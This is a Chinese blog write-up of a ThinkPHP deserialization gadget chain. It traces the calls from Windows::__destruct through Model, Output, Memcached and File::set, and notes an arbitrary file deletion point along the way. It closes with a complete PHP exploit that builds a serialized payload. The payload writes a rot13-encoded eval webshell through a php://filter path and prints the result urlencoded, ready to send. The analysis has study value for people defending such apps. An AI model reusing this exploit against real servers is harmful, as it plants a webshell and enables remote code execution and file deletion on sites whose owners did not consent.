# 漏洞分析
起点为 /thinkphp/library/think/process/pipes/Windows.php 的__destruct ()
跟进其中的 removeFiles () 函数
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
其中 files
是可控的
这里存在任意文件删除的漏洞点
file_exists 对 filename 进行处理,会将其当做 String 类型的
可以触发任意类的 __toString
方法
1
| function is_writable(string $filename): bool {}
|
在 think
下的 Model.php
中存在一处
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
一直到 toArray
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
在这段代码中值得注意的是
1 2 3 4 5 6 7
| $item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;
|
这四处是可以调用到__call 方法的
例如用第四处进行调用
$modelRelation
是通过 $this->getAttr($key)
赋值
要调用 Output
下的__call,这里的 $value
也需要时 Output
的对象
其中 getRelationData
对获取的值进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
跟进到 isSelfRelation
和 getModel
1 2 3 4
| public function isSelfRelation() { return $this->selfRelation; }
|
1 2 3 4
| public function getModel() { return $this->query->getModel(); }
|
1 2 3 4
| public function getModel() { return $this->model; }
|
发现都是可控的
上面提到 $value
需要是 Output
的对象
当然这里的参数也需要是该类对象
也就是 return $this->model;
和 get_class($this->parent)
为同类
接着跟进 getBindAttr
1 2 3 4
| public function getBindAttr() { return $this->bindAttr; }
|
依然可控
那就可以执行最后 $item[$key] = $value ? $value->getAttr($attr) : null;
那么下面就来分析这个类
首先看下回调的 block
方法
一直跟进到
注意到 handle
可控,搜索下调用的 write
方法
Memcached.php
接着搜索 set
方法
File.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
注意到
可以通过伪协议写入 shell
并绕过死亡 exit
由于最后调用 set 方法中的参数来自先前调用的 write 方法只能为 true,且这里 $expire 只能为数值,这样文件内容就无法写 shell
所以后面无法在文件内容写入 shell
在后面的 setRagItem
函数会再次执行 set
方法
# 过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Windows::__destruct()->removeFiles() ↓ Model::__toString()->toJson() ↓ Model::tiJson()->toArray() ↓ Model::toArrray()->getAttr() ↓ Output::__call()->block() ↓ Output::block()->writeln() ↓ Output::writeln()->write() ↓ Output::write()->write() ↓ Memcached::write->set() ↓ File::set()->setTagItem() ↓ Driver::setTagItem()->set()
|
偷了一位师傅的图
非常详细
这里可能有些内容写的不是很详细
还请各位读者谅解
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| <?php namespace think\process\pipes; use think\model\Pivot; class Pipes{
}
class Windows extends Pipes{ private $files = [];
function __construct(){ $this->files = [new Pivot()]; } }
namespace think\model; use think\db\Query; abstract class Relation{ protected $selfRelation; protected $query; function __construct(){ $this->selfRelation = false; $this->query = new Query(); } }
namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation{ function __construct(){ parent::__construct(); }
} class HasOne extends OneToOne{ protected $bindAttr = []; function __construct(){ parent::__construct(); $this->bindAttr = ["no","123"]; } }
namespace think\console; use think\session\driver\Memcached; class Output{ private $handle = null; protected $styles = []; function __construct(){ $this->handle = new Memcached(); $this->styles = ['getAttr']; } }
namespace think; use think\model\relation\HasOne; use think\console\Output; use think\db\Query; abstract class Model{ protected $append = []; protected $error; public $parent; protected $selfRelation; protected $query; protected $aaaaa;
function __construct(){ $this->parent = new Output(); $this->append = ['getError']; $this->error = new HasOne(); $this->selfRelation = false; $this->query = new Query();
} }
namespace think\db; use think\console\Output; class Query{ protected $model; function __construct(){ $this->model = new Output(); } }
namespace think\session\driver; use think\cache\driver\File; class Memcached{ protected $handler = null; function __construct(){ $this->handler = new File(); } } namespace think\cache\driver; class File{ protected $options = []; protected $tag; function __construct(){ $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>', 'data_compress' => false, ]; $this->tag = true; } }
namespace think\model; use think\Model; class Pivot extends Model{
} use think\process\pipes\Windows; echo urlencode(serialize(new Windows()));
|